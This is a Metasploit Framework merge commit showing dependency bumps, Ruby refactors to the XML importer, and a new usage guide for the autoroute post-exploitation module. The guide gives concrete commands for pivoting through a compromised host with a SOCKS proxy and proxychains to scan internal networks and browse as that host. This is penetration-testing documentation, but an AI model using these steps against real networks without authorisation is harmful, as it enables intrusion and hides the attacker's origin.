Merge branch 'master' into staging/rails-upgrade

bug/bundler_fix
David Maloney 2016-05-02 11:33:35 -05:00
commit fb5b228984
No known key found for this signature in database
GPG Key ID: DEDBA9DC3A913DB2
139 changed files with 2347 additions and 925 deletions

View File

@ -81,7 +81,7 @@ GIT
PATH
remote: .
specs:
metasploit-framework (4.11.21)
metasploit-framework (4.11.24)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -93,7 +93,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.1.6)
metasploit-payloads (= 1.1.8)
metasploit_data_models
msgpack
network_interface
@ -155,7 +155,7 @@ GEM
thor (~> 0.19)
bcrypt (3.1.11)
builder (3.2.2)
capybara (2.7.0)
capybara (2.7.1)
addressable
mime-types (>= 1.16)
nokogiri (>= 1.3.3)
@ -166,7 +166,7 @@ GEM
ffi (~> 1.0, >= 1.0.11)
choice (0.2.0)
coderay (1.1.1)
contracts (0.13.0)
contracts (0.14.0)
cucumber (2.3.3)
builder (>= 2.1.2)
cucumber-core (~> 1.4.0)
@ -205,7 +205,7 @@ GEM
loofah (2.0.3)
nokogiri (>= 1.5.9)
metasm (1.0.2)
metasploit-payloads (1.1.6)
metasploit-payloads (1.1.8)
method_source (0.8.2)
mime-types (3.0)
mime-types-data (~> 3.2015)
@ -213,7 +213,7 @@ GEM
mini_portile2 (2.0.0)
minitest (5.8.4)
msgpack (0.7.5)
multi_json (1.11.2)
multi_json (1.11.3)
multi_test (0.1.2)
multipart-post (2.0.0)
network_interface (0.0.1)
@ -226,7 +226,7 @@ GEM
network_interface (~> 0.0)
pcaprub (~> 0.12)
patch_finder (1.0.2)
pcaprub (0.12.1)
pcaprub (0.12.4)
pg (0.18.4)
pg_array_parser (0.0.9)
postgres_ext (3.0.0)
@ -246,7 +246,7 @@ GEM
activesupport (>= 4.2.0.beta, < 5.0)
nokogiri (~> 1.6.0)
rails-deprecated_sanitizer (>= 1.0.1)
rails-erd (1.4.6)
rails-erd (1.4.7)
activerecord (>= 3.2)
activesupport (>= 3.2)
choice (~> 0.2.0)
@ -260,7 +260,7 @@ GEM
thor (>= 0.18.1, < 2.0)
rake (11.1.2)
rb-readline-r7 (0.5.2.0)
recog (2.0.19)
recog (2.0.20)
nokogiri
redcarpet (3.3.4)
rkelly-remix (0.0.6)
@ -331,3 +331,6 @@ DEPENDENCIES
timecop
yard
yard-metasploit-erd!
BUNDLED WITH
1.11.2

View File

@ -28,7 +28,7 @@ File.readlines(sitelist).each do |site|
next if site =~ /^#/
out = File.join(output, site + ".txt")
File.unlink(out) if File.exists?(out)
File.unlink(out) if File.exist?(out)
fd = File.open(out, "a")

View File

@ -89,7 +89,6 @@ code {
}
pre {
display: block;
padding: 16px;
margin: 0 0 18px;
line-height: 16px;
font-size: 13px;
@ -139,7 +138,6 @@ pre code {
border-style: solid;
border-width: 1px;
border-color: #ccc;
padding: 5px;
}

View File

@ -0,0 +1,121 @@
## Overview
This module is used to add routes associated with the specified Meterpreter session to Metasploit's routing table. These routes can be used to pivot to private networks and resources that can be accessed by the compromised machine. This module can search for routes and add them automatically. Routes can also be added manually, deleted, or displayed.
## CMD Options
This module has several command "CMD" options that are used to control the module's behavior.
### autoadd
This is the default behavior for this module. When this CMD option is used, the module searches the compromised machine's routing table and network interface list looking for networks that the machine can access. Once found, the module automatically adds routes to the networks to Metasploit's routing table. Duplicate routes from new sessions are not added.
### add
This CMD option is used to manually add routes to Metasploit's routing table. An IPv4 subnet and netmask (IPv4 or CIDR) are required to add routes manually. The session number of the Meterpreter session to run the module on is also required.
Subnet Example `set SUBNET 192.168.1.0`
Netmask Examples `set NETMASK 255.255.255.0` or `set NETMASK /24`
### delete
This CMD option is used to remove a route from Metasploit's routing table. The IPv4 subnet and netmask (IPv4 or CIDR) of the route to be removed are required. The session number of the Meterpreter session to run the module on is also required. Use `route print` or the print CMD option to display the current Metasploit routing table.
### print
This CMD option is used to display Metasploit's routing table. This option has the same functionality as the `route print` command.
### default
This CMD option is used to add a default route to Metasploit's routing table that routes all TCP/IP traffic; not otherwise covered in other routes, through the specified session when pivoting.
**Use this option with caution.**
This option is useful in special situations. An example would be when the compromised host is using a full traffic VPN where the VPN server does the routing to private networks. In this case, the routing table of the compromised host would likely not have entries for these private networks. Adding a default route would push the routing off to the VPN server, and those networks would likely become accessible.
Additionally, the default route combined with a Socks proxy server and Proxychains can be used to browse the Internet as the compromised host. Instructions for this are below.
## Pivoting
Once routes are established, Metasploit modules can access the IP range specified in the routes. Scans and exploits can be directed at machines that would otherwise be unreachable from the outside. For other applications to access the routes, a little bit more setup is necessary. This involves setting up the Socks4a Metasploit module and using Proxychains in conjunction with the other applications.
### Socks 4a Server Module Setup
Metasploit can launch a Socks 4a Proxy server using the module: auxiliary/server/socks4a. When set up to bind to a local loopback adapter, applications can be directed to use the proxy to route TCP/IP traffic through Metasploit's routing tables. Below are the steps to initiate this module.
```
use auxiliary/server/socks4a
set SRVHOST 127.0.0.1
set LPORT 1080
exploit -j
```
### Proxychains Setup
First, make sure that you have Proxychains.
```
sudo apt-get update
sudo apt-get install proxychains
```
Now edit the Proxychains configuration file located at /etc/proxychains.conf. Add the below line to the end of the file to set Proxychains to use the Socks 4a server that you just set up.
```
socks4 127.0.0.1 1080
```
Note: If there are other proxy entries in the configuration file, you may need to comment them out as they may interfere with proper routing.
### Using Proxychains
Now you can combine Proxychains with other application like Nmap, Nessus, Firefox and more to scan or access machines and resources through the Metasploit routes. All you need to do is call proxychains before the needed application. No need to change the proxy settings in Firefox of Iceweasel.
```
$ proxychains firefox
```
### Scanning
For scanning with Nmap, Zenmap, Nessus and others, keep in mind that ICMP and UPD traffic cannot tunnel through the proxy. So you cannot perform ping or UDP scans.
For Nmap and Zenmap, the below example shows the commands can be used. It is best to be selective on ports to scan since scanning through the proxy tunnel can be slow.
```
$ sudo proxychains nmap -n -sT- sV -PN -p 445 10.10.125.0/24
```
### Combined With Default Route
Using the default route option along with the Socks proxy and Proxychains, you can browse the internet as the compromised host. This is possible because adding a default route to a Meterpeter session will cause all TCP/IP traffic; that is not otherwise specified in Metasploit's routing table, to route through that session. This is easy to set up and test.
You need a Windows Meterpreter session on a host that has a different public IP address than your attacking machine.
First set up a default route for the Meterpreter session.
```
meterpreter > run post/windows/manage/autoroute CMD=default
```
or
```
msf > use post/windows/manage/autoroute
msf post(autoroute) > set SESSION session-id
msf post(autoroute) > set CMD default
msf post(autoroute) > exploit
```
Then open Firefox or Iceweasel without invoking Proxychains.
```
$ firefox
```
Go to `www.ipchicken.com`
This displays your current public IP address. The one that is logged when you visit a website.
Now open Firefox or Iceweasel with Proxychains.
```
$ proxychains firefox
```
Go to `www.ipchicken.com`
Now you will see the public IP address of the compromised host. You are essentially using the compromised host as a proxy to browse the Internet.
**This does not guarantee anonymity! Your browser, and its setting may still give you away.**

View File

@ -9,7 +9,7 @@ module Anemone
def_delegators :@keys, :has_key?, :keys, :size
def initialize(file)
File.delete(file) if File.exists?(file)
File.delete(file) if File.exist?(file)
@store = ::PStore.new(file)
@keys = {}
end

View File

@ -5,7 +5,7 @@ module Metasploit
# This class is responsible for taking datastore options from the snmp_login module
# and yielding appropriate {Metasploit::Framework::Credential}s to the {Metasploit::Framework::LoginScanner::SNMP}.
# This one has to be different from {credentialCollection} as it will only have a {Metasploit::Framework::Credential#public}
# This one has to be different from credentialCollection as it will only have a {Metasploit::Framework::Credential#public}
# It may be slightly confusing that the attribues are called password and pass_file, because this is what the legacy
# module used. However, community Strings are now considered more to be public credentials than private ones.
class CommunityStringCollection

View File

@ -18,10 +18,10 @@ module Metasploit
# Module Methods
#
# Returns first configuration pathname from {configuration_pathnames} or the overridding `:path`.
# Returns first configuration pathname from configuration_pathnames or the overridding `:path`.
#
# @param options [Hash{Symbol=>String}]
# @option options [String] :path Path to use instead of first element of {configurations_pathnames}
# @option options [String] :path Path to use instead of first element of configurations_pathnames
# @return [Pathname] if configuration pathname exists.
# @return [nil] if configuration pathname does not exist.
def self.configurations_pathname(options={})

View File

@ -29,7 +29,7 @@ module Metasploit
# Returns the latest sid from MSP
#
# @param [Rex::Proto::Http::Response]
# @param res [Rex::Proto::Http::Response]
# @return [String] The session ID for MSP
def get_sid(res)
cookies = res.get_cookies
@ -41,7 +41,7 @@ module Metasploit
# Returns the hidden inputs
#
# @param [Rex::Proto::Http::Response]
# @param res [Rex::Proto::Http::Response]
# @return [Hash] Input fields
def get_hidden_inputs(res)
found_inputs = {}

View File

@ -60,7 +60,7 @@ module Metasploit
end
end
# Attempt to login with every {Credential credential} in # {#cred_details}.
# Attempt to login with every {Credential credential} in # #cred_details.
#
# @yieldparam result [Result] The {Result} object for each attempt
# @yieldreturn [void]

View File

@ -42,7 +42,7 @@ module Metasploit::Framework::Spec::Constants
# Adds actions to `spec` task so that `rake spec` fails if any of the following:
#
# # `log/leaked-constants.log` exists after printing out the leaked constants.
# # {Each.configured!} is unnecessary in `spec/spec_helper.rb` and should be removed.
# # Each.configured! is unnecessary in `spec/spec_helper.rb` and should be removed.
#
# @return [void]
def self.define_task
@ -96,4 +96,4 @@ module Metasploit::Framework::Spec::Constants
full_name
end
end
end

View File

@ -19,7 +19,7 @@ module Metasploit::Framework::Spec::Constants::Each
attr_accessor :leaks_cleaned
end
# Is {Metasploit::Framework::Spec::Constants::Each.configure!} still necessary or should it be removed?
# Is Metasploit::Framework::Spec::Constants::Each.configure! still necessary or should it be removed?
#
# @return [true] if {configure!}'s `before(:each)` cleaned up leaked constants
# @return [false] otherwise
@ -91,7 +91,7 @@ module Metasploit::Framework::Spec::Constants::Each
!!@configured
end
# Adds action to `spec` task so that `rake spec` fails if {configured!} is unnecessary in `spec/spec_helper.rb` and
# Adds action to `spec` task so that `rake spec` fails if configured! is unnecessary in `spec/spec_helper.rb` and
# should be removed
#
# @return [void]
@ -116,4 +116,4 @@ module Metasploit::Framework::Spec::Constants::Each
end
end
end
end
end

View File

@ -6,7 +6,7 @@ module Metasploit::Framework::Spec::Constants::Suite
LOGS_PATHNAME = Pathname.new('log/metasploit/framework/spec/constants/suite')
# Logs leaked constants to {LOG_PATHNAME} and prints `message` to stderr.
# Logs leaked constants to LOG_PATHNAME and prints `message` to stderr.
#
# @param hook (see log_pathname)
# @param message [String] additional message printed to stderr when there is at least one leaked constant.
@ -116,4 +116,4 @@ module Metasploit::Framework::Spec::Constants::Suite
leaks
end
end
end

View File

@ -1,5 +1,5 @@
# Wraps {Msf::Framework} so that {Msf::Framework#threads} is only created on the first call to {#spawn} by
# {Rex::ThreadFactory#spawn}, which allows the threads used by {Msf::ThreadManager} to be created lazily.
# Rex::ThreadFactory#spawn, which allows the threads used by {Msf::ThreadManager} to be created lazily.
#
# @example Setting Rex::ThreadFactory.provider and spawning threads
# Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: framework)
@ -23,4 +23,4 @@ class Metasploit::Framework::ThreadFactoryProvider < Metasploit::Model::Base
def spawn(name, critical, *args, &block)
framework.threads.spawn(name, critical, *args, &block)
end
end
end

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.11.21"
VERSION = "4.11.24"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -14,7 +14,7 @@ module Msf
# the supplied module instance.
#
# @param mod [Msf::Module] the module to dump information for.
# @param indent [String] the indentation to use.
# @param _indent [String] the indentation to use.
# @return [String] formatted text output of the dump.
def self.dump_module(mod, _indent = "")
case mod.type

View File

@ -471,7 +471,7 @@ class ReadableText
def self.dump_references(mod, indent = '')
output = ''
if (mod.respond_to? :references and mod.references and mod.references.length > 0)
if (mod.respond_to?(:references) && mod.references && mod.references.length > 0)
output << "References:\n"
mod.references.each { |ref|
output << indent + ref.to_s + "\n"
@ -530,6 +530,7 @@ class ReadableText
columns << 'Id'
columns << 'Type'
columns << 'Checkin?' if show_extended
columns << 'Local URI' if show_extended
columns << 'Information'
columns << 'Connection'
@ -558,6 +559,12 @@ class ReadableText
else
row << '?'
end
if session.exploit_datastore.has_key?('LURI') && !session.exploit_datastore['LURI'].empty?
row << " (#{session.exploit_datastore['LURI']})"
else
row << '?'
end
end
row << sinfo
@ -597,6 +604,7 @@ class ReadableText
sess_type = session.type.to_s
sess_uuid = session.payload_uuid.to_s
sess_puid = session.payload_uuid.respond_to?(:puid_hex) ? session.payload_uuid.puid_hex : nil
sess_luri = session.exploit_datastore['LURI'] || ""
sess_checkin = "<none>"
sess_machine_id = session.machine_id.to_s
@ -626,6 +634,9 @@ class ReadableText
out << " MachineID: #{sess_machine_id}\n"
out << " CheckIn: #{sess_checkin}\n"
out << " Registered: #{sess_registration}\n"
if !sess_luri.empty?
out << " LURI: #{sess_luri}\n"
end
@ -678,6 +689,7 @@ class ReadableText
if (verbose)
uripath = ctx[0].get_resource if ctx[0].respond_to?(:get_resource)
uripath = ctx[0].datastore['URIPATH'] if uripath.nil?
uripath = ctx[0].datastore['LURI'] if uripath.nil?
row << (uripath || "")
row << (framework.jobs[k].start_time || "")
end

View File

@ -27,7 +27,7 @@ module Scriptable
# Scan all of the path combinations
check_paths.each { |path|
if ::File.exists?(path)
if ::File.exist?(path)
full_path = path
break
end

View File

@ -30,7 +30,7 @@ module Framework
def load(path, opts = {})
def_path = Msf::Config.plugin_directory + File::SEPARATOR + path
if (File.exists?(def_path) or File.exists?(def_path + ".rb"))
if (File.exist?(def_path) or File.exist?(def_path + ".rb"))
super(def_path, opts)
else
super

View File

@ -58,7 +58,6 @@ module Msf
# Extract directories `engine.paths['modules']` from `engine`.
#
# @param engine [Rails::Engine] a rails engine or application
# @param options [Hash] options for {Msf::ModuleManager::ModulePaths#add_module_paths}
# @return [Array<String>] The list of module paths to load
def extract_engine_module_paths(engine)
engine.paths['modules'] ? engine.paths['modules'].existent_directories : []

View File

@ -49,7 +49,7 @@ module Auxiliary::AuthBrute
@@max_per_service = nil
end
# Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with
# Yields each Metasploit::Credential::Core in the Mdm::Workspace with
# a private type of 'ntlm_hash'
#
# @yieldparam [Metasploit::Credential::Core]
@ -60,7 +60,7 @@ module Auxiliary::AuthBrute
end
end
# Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with
# Yields each Metasploit::Credential::Core in the Mdm::Workspace with
# a private type of 'password'
#
# @yieldparam [Metasploit::Credential::Core]
@ -71,7 +71,7 @@ module Auxiliary::AuthBrute
end
end
# Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with
# Yields each Metasploit::Credential::Core in the Mdm::Workspace with
# a private type of 'ssh_key'
#
# @yieldparam [Metasploit::Credential::Core]
@ -90,7 +90,7 @@ module Auxiliary::AuthBrute
(datastore['DB_ALL_CREDS'] || datastore['DB_ALL_PASS'] || datastore['DB_ALL_USERS']) && framework.db.active
end
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing NTLMHashes
# This method takes a Metasploit::Framework::CredentialCollection and prepends existing NTLMHashes
# from the database. This allows the users to use the DB_ALL_CREDS option.
#
# @param cred_collection [Metasploit::Framework::CredentialCollection]
@ -105,7 +105,7 @@ module Auxiliary::AuthBrute
cred_collection
end
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing SSHKeys
# This method takes a Metasploit::Framework::CredentialCollection and prepends existing SSHKeys
# from the database. This allows the users to use the DB_ALL_CREDS option.
#
# @param [Metasploit::Framework::CredentialCollection] cred_collection
@ -120,7 +120,7 @@ module Auxiliary::AuthBrute
cred_collection
end
# This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing Password Credentials
# This method takes a Metasploit::Framework::CredentialCollection and prepends existing Password Credentials
# from the database. This allows the users to use the DB_ALL_CREDS option.
#
# @param cred_collection [Metasploit::Framework::CredentialCollection]
@ -135,9 +135,9 @@ module Auxiliary::AuthBrute
cred_collection
end
# Takes a {Metasploit::Credential::Core} and converts it into a
# {Metasploit::Framework::Credential} and processes it into the
# {Metasploit::Framework::CredentialCollection} as dictated by the
# Takes a Metasploit::Credential::Core and converts it into a
# Metasploit::Framework::Credential and processes it into the
# Metasploit::Framework::CredentialCollection as dictated by the
# selected datastore options.
#
# @param [Metasploit::Framework::CredentialCollection] cred_collection the credential collection to add to

View File

@ -27,8 +27,8 @@ module Msf
def build_probe
@probe ||= ::Net::DNS::Packet.new(query_name, query_type_num, query_class_num).data
# TODO: support QU vs QM probes
# @probe[@probe.size-2] = [0x80].pack('C')
# @probe
#+ @probe[@probe.size-2] = [0x80].pack('C')
#+ @probe
end
def query_class

View File

@ -70,7 +70,7 @@ module Auxiliary::Report
# This method safely get the workspace ID. It handles if the db is not active
#
# @return [NilClass] if there is no DB connection
# @return [Fixnum] the ID of the current {Mdm::Workspace}
# @return [Fixnum] the ID of the current Mdm::Workspace
def myworkspace_id
if framework.db.active
myworkspace.id
@ -169,7 +169,7 @@ module Auxiliary::Report
# should be used directly instead.
#
# @param opts [Hash] the option hash
# @option opts [String] :host the address of the host (also takes a {Mdm::Host})
# @option opts [String] :host the address of the host (also takes a Mdm::Host)
# @option opts [Fixnum] :port the port of the connected service
# @option opts [Mdm::Service] :service an optional Service object to build the cred for
# @option opts [String] :type What type of private credential this is (e.g. "password", "hash", "ssh_key")

View File

@ -229,7 +229,7 @@ module Msf::DBManager::Import
end
# This is a text string, lets make sure its treated as binary
data = data.unpack("C*").pack("C*")
data.force_encoding(Encoding::ASCII_8BIT)
if data and data.to_s.strip.length == 0
raise Msf::DBImportError.new("The data provided to the import function was empty")
end

View File

@ -66,31 +66,31 @@ module Msf::DBManager::Import::MetasploitFramework::XML
# Imports `Mdm::Note` objects from the XML element.
#
# @param note [REXML::Element] The Note element
# @param note [Nokogiri::XML::Element] The Note element
# @param allow_yaml [Boolean] whether to allow yaml
# @param note_data [Hash] hash containing note attributes to be passed along
# @return [void]
def import_msf_note_element(note, allow_yaml, note_data={})
note_data[:type] = nils_for_nulls(note.elements["ntype"].text.to_s.strip)
note_data[:data] = nils_for_nulls(unserialize_object(note.elements["data"], allow_yaml))
note_data[:type] = nils_for_nulls(note.at("ntype").text.to_s.strip)
note_data[:data] = nils_for_nulls(unserialize_object(note.at("data"), allow_yaml))
if note.elements["critical"].text
note_data[:critical] = true unless note.elements["critical"].text.to_s.strip == "NULL"
if note.at("critical").text
note_data[:critical] = true unless note.at("critical").text.to_s.strip == "NULL"
end
if note.elements["seen"].text
note_data[:seen] = true unless note.elements["critical"].text.to_s.strip == "NULL"
if note.at("seen").text
note_data[:seen] = true unless note.at("critical").text.to_s.strip == "NULL"
end
%W{created-at updated-at}.each { |datum|
if note.elements[datum].text
note_data[datum.gsub("-","_")] = nils_for_nulls(note.elements[datum].text.to_s.strip)
if note.at(datum).text
note_data[datum.gsub("-","_")] = nils_for_nulls(note.at(datum).text.to_s.strip)
end
}
report_note(note_data)
end
# Imports web_form element using {Msf::DBManager#report_web_form}.
# Imports web_form element using Msf::DBManager#report_web_form.
#
# @param element [REXML::Element] web_form element.
# @param element [Nokogiri::XML::Element] web_form element.
# @param options [Hash{Symbol => Object}] options
# @option options [Boolean] :allow_yaml (false) Whether to allow YAML when
# deserializing params.
@ -115,7 +115,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML
# FIXME https://www.pivotaltracker.com/story/show/46578647
# FIXME https://www.pivotaltracker.com/story/show/47128407
unserialized_params = unserialize_object(
element.elements['params'],
element.at('params'),
options[:allow_yaml]
)
info[:params] = nils_for_nulls(unserialized_params)
@ -124,9 +124,9 @@ module Msf::DBManager::Import::MetasploitFramework::XML
end
end
# Imports web_page element using {Msf::DBManager#report_web_page}.
# Imports web_page element using Msf::DBManager#report_web_page.
#
# @param element [REXML::Element] web_page element.
# @param element [Nokogiri::XML::Element] web_page element.
# @param options [Hash{Symbol => Object}] options
# @option options [Boolean] :allow_yaml (false) Whether to allow YAML when
# deserializing headers.
@ -162,7 +162,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML
# FIXME https://www.pivotaltracker.com/story/show/46578647
# FIXME https://www.pivotaltracker.com/story/show/47128407
unserialized_headers = unserialize_object(
element.elements['headers'],
element.at('headers'),
options[:allow_yaml]
)
info[:headers] = nils_for_nulls(unserialized_headers)
@ -171,9 +171,9 @@ module Msf::DBManager::Import::MetasploitFramework::XML
end
end
# Imports web_vuln element using {Msf::DBManager#report_web_vuln}.
# Imports web_vuln element using Msf::DBManager#report_web_vuln.
#
# @param element [REXML::Element] web_vuln element.
# @param element [Nokogiri::XML::Element] web_vuln element.
# @param options [Hash{Symbol => Object}] options
# @option options [Boolean] :allow_yaml (false) Whether to allow YAML when
# deserializing headers.
@ -209,7 +209,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML
# FIXME https://www.pivotaltracker.com/story/show/46578647
# FIXME https://www.pivotaltracker.com/story/show/47128407
unserialized_params = unserialize_object(
element.elements['params'],
element.at('params'),
options[:allow_yaml]
)
info[:params] = nils_for_nulls(unserialized_params)
@ -232,314 +232,325 @@ module Msf::DBManager::Import::MetasploitFramework::XML
wspace = args[:wspace] || workspace
bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []
doc = rexmlify(data)
metadata = check_msf_xml_version!(doc)
doc = Nokogiri::XML::Reader.from_memory(data)
metadata = check_msf_xml_version!(doc.first.name)
allow_yaml = metadata[:allow_yaml]
btag = metadata[:root_tag]
doc.elements.each("/#{btag}/hosts/host") do |host|
host_data = {}
host_data[:task] = args[:task]
host_data[:workspace] = wspace
# A regression resulted in the address field being serialized in some cases.
# Lets handle both instances to keep things happy. See #5837 & #5985
addr = nils_for_nulls(host.elements["address"])
next unless addr
# No period or colon means this must be in base64-encoded serialized form
if addr !~ /[\.\:]/
addr = unserialize_object(addr)
end
host_data[:host] = addr
if bl.include? host_data[:host]
next
else
yield(:address,host_data[:host]) if block
end
host_data[:mac] = nils_for_nulls(host.elements["mac"].text.to_s.strip)
if host.elements["comm"].text
host_data[:comm] = nils_for_nulls(host.elements["comm"].text.to_s.strip)
end
%W{created-at updated-at name state os-flavor os-lang os-name os-sp purpose}.each { |datum|
if host.elements[datum].text
host_data[datum.gsub('-','_')] = nils_for_nulls(host.elements[datum].text.to_s.strip)
doc.each do |node|
unless node.inner_xml.empty?
case node.name
when 'host'
parse_host(Nokogiri::XML(node.outer_xml).at("./#{node.name}"), wspace, bl, allow_yaml, btag, args, &block)
when 'web_site'
parse_web_site(Nokogiri::XML(node.outer_xml).at("./#{node.name}"), wspace, bl, allow_yaml, btag, args, &block)
when 'web_page', 'web_form', 'web_vuln'
send(
"import_msf_#{node.name}_element",
Nokogiri::XML(node.outer_xml).at("./#{node.name}"),
:allow_yaml => allow_yaml,
:workspace => wspace,
&block
)
end
}
host_address = host_data[:host].dup # Preserve after report_host() deletes
hobj = report_host(host_data)
host.elements.each("host_details/host_detail") do |hdet|
hdet_data = {}
hdet.elements.each do |det|
next if ["id", "host-id"].include?(det.name)
if det.text
hdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip)
end
end
report_host_details(hobj, hdet_data)
end
host.elements.each("exploit_attempts/exploit_attempt") do |hdet|
hdet_data = {}
hdet.elements.each do |det|
next if ["id", "host-id", "session-id", "vuln-id", "service-id", "loot-id"].include?(det.name)
if det.text
hdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip)
end
end
report_exploit_attempt(hobj, hdet_data)
end
host.elements.each('services/service') do |service|
service_data = {}
service_data[:task] = args[:task]
service_data[:workspace] = wspace
service_data[:host] = hobj
service_data[:port] = nils_for_nulls(service.elements["port"].text.to_s.strip).to_i
service_data[:proto] = nils_for_nulls(service.elements["proto"].text.to_s.strip)
%W{created-at updated-at name state info}.each { |datum|
if service.elements[datum].text
if datum == "info"
service_data["info"] = nils_for_nulls(unserialize_object(service.elements[datum], false))
else
service_data[datum.gsub("-","_")] = nils_for_nulls(service.elements[datum].text.to_s.strip)
end
end
}
report_service(service_data)
end
host.elements.each('notes/note') do |note|
note_data = {}
note_data[:workspace] = wspace
note_data[:host] = hobj
import_msf_note_element(note,allow_yaml,note_data)
end
host.elements.each('tags/tag') do |tag|
tag_data = {}
tag_data[:addr] = host_address
tag_data[:wspace] = wspace
tag_data[:name] = tag.elements["name"].text.to_s.strip
tag_data[:desc] = tag.elements["desc"].text.to_s.strip
if tag.elements["report-summary"].text
tag_data[:summary] = tag.elements["report-summary"].text.to_s.strip
end
if tag.elements["report-detail"].text
tag_data[:detail] = tag.elements["report-detail"].text.to_s.strip
end
if tag.elements["critical"].text
tag_data[:crit] = true unless tag.elements["critical"].text.to_s.strip == "NULL"
end
report_host_tag(tag_data)
end
host.elements.each('vulns/vuln') do |vuln|
vuln_data = {}
vuln_data[:workspace] = wspace
vuln_data[:host] = hobj
vuln_data[:info] = nils_for_nulls(unserialize_object(vuln.elements["info"], allow_yaml))
vuln_data[:name] = nils_for_nulls(vuln.elements["name"].text.to_s.strip)
%W{created-at updated-at exploited-at}.each { |datum|
if vuln.elements[datum] and vuln.elements[datum].text
vuln_data[datum.gsub("-","_")] = nils_for_nulls(vuln.elements[datum].text.to_s.strip)
end
}
if vuln.elements["refs"]
vuln_data[:refs] = []
vuln.elements.each("refs/ref") do |ref|
vuln_data[:refs] << nils_for_nulls(ref.text.to_s.strip)
end
end
vobj = report_vuln(vuln_data)
vuln.elements.each("notes/note") do |note|
note_data = {}
note_data[:workspace] = wspace
note_data[:vuln_id] = vobj.id
import_msf_note_element(note,allow_yaml,note_data)
end
vuln.elements.each("vuln_details/vuln_detail") do |vdet|
vdet_data = {}
vdet.elements.each do |det|
next if ["id", "vuln-id"].include?(det.name)
if det.text
vdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip)
end
end
report_vuln_details(vobj, vdet_data)
end
vuln.elements.each("vuln_attempts/vuln_attempt") do |vdet|
vdet_data = {}
vdet.elements.each do |det|
next if ["id", "vuln-id", "loot-id", "session-id"].include?(det.name)
if det.text
vdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip)
end
end
report_vuln_attempt(vobj, vdet_data)
end
end
## Handle old-style (pre 4.10) XML files
if btag == "MetasploitV4"
if host.elements['creds'].present?
unless host.elements['creds'].elements.empty?
origin = Metasploit::Credential::Origin::Import.create(filename: "console-import-#{Time.now.to_i}")
host.elements.each('creds/cred') do |cred|
username = cred.elements['user'].try(:text)
proto = cred.elements['proto'].try(:text)
sname = cred.elements['sname'].try(:text)
port = cred.elements['port'].try(:text)
# Handle blanks by resetting to sane default values
proto = "tcp" if proto.blank?
pass = cred.elements['pass'].try(:text)
pass = "" if pass == "*MASKED*"
private = create_credential_private(private_data: pass, private_type: :password)
public = create_credential_public(username: username)
core = create_credential_core(private: private, public: public, origin: origin, workspace_id: wspace.id)
create_credential_login(core: core,
workspace_id: wspace.id,
address: hobj.address,
port: port,
protocol: proto,
service_name: sname,
status: Metasploit::Model::Login::Status::UNTRIED)
end
end
end
end
host.elements.each('sessions/session') do |sess|
sess_id = nils_for_nulls(sess.elements["id"].text.to_s.strip.to_i)
sess_data = {}
sess_data[:host] = hobj
%W{desc platform port stype}.each {|datum|
if sess.elements[datum].respond_to? :text
sess_data[datum.intern] = nils_for_nulls(sess.elements[datum].text.to_s.strip)
end
}
%W{opened-at close-reason closed-at via-exploit via-payload}.each {|datum|
if sess.elements[datum].respond_to? :text
sess_data[datum.gsub("-","_").intern] = nils_for_nulls(sess.elements[datum].text.to_s.strip)
end
}
sess_data[:datastore] = nils_for_nulls(unserialize_object(sess.elements["datastore"], allow_yaml))
if sess.elements["routes"]
sess_data[:routes] = nils_for_nulls(unserialize_object(sess.elements["routes"], allow_yaml)) || []
end
if not sess_data[:closed_at] # Fake a close if we don't already have one
sess_data[:closed_at] = Time.now.utc
sess_data[:close_reason] = "Imported at #{Time.now.utc}"
end
existing_session = get_session(
:workspace => sess_data[:host].workspace,
:addr => sess_data[:host].address,
:time => sess_data[:opened_at]
)
this_session = existing_session || report_session(sess_data)
next if existing_session
sess.elements.each('events/event') do |sess_event|
sess_event_data = {}
sess_event_data[:session] = this_session
%W{created-at etype local-path remote-path}.each {|datum|
if sess_event.elements[datum].respond_to? :text
sess_event_data[datum.gsub("-","_").intern] = nils_for_nulls(sess_event.elements[datum].text.to_s.strip)
end
}
%W{command output}.each {|datum|
if sess_event.elements[datum].respond_to? :text
sess_event_data[datum.gsub("-","_").intern] = nils_for_nulls(unserialize_object(sess_event.elements[datum], allow_yaml))
end
}
report_session_event(sess_event_data)
end
end
end
# Import web sites
doc.elements.each("/#{btag}/web_sites/web_site") do |web|
info = {}
info[:workspace] = wspace
%W{host port vhost ssl comments}.each do |datum|
if web.elements[datum].respond_to? :text
info[datum.intern] = nils_for_nulls(web.elements[datum].text.to_s.strip)
end
end
info[:options] = nils_for_nulls(unserialize_object(web.elements["options"], allow_yaml)) if web.elements["options"].respond_to?(:text)
info[:ssl] = (info[:ssl] and info[:ssl].to_s.strip.downcase == "true") ? true : false
%W{created-at updated-at}.each { |datum|
if web.elements[datum].text
info[datum.gsub("-","_")] = nils_for_nulls(web.elements[datum].text.to_s.strip)
end
}
report_web_site(info)
yield(:web_site, "#{info[:host]}:#{info[:port]} (#{info[:vhost]})") if block
end
%W{page form vuln}.each do |wtype|
doc.elements.each("/#{btag}/web_#{wtype}s/web_#{wtype}") do |element|
send(
"import_msf_web_#{wtype}_element",
element,
:allow_yaml => allow_yaml,
:workspace => wspace,
&block
)
end
end
end
private
# Parses website Nokogiri::XML::Element
def parse_web_site(web, wspace, bl, allow_yaml, btag, args, &block)
# Import web sites
info = {}
info[:workspace] = wspace
%W{host port vhost ssl comments}.each do |datum|
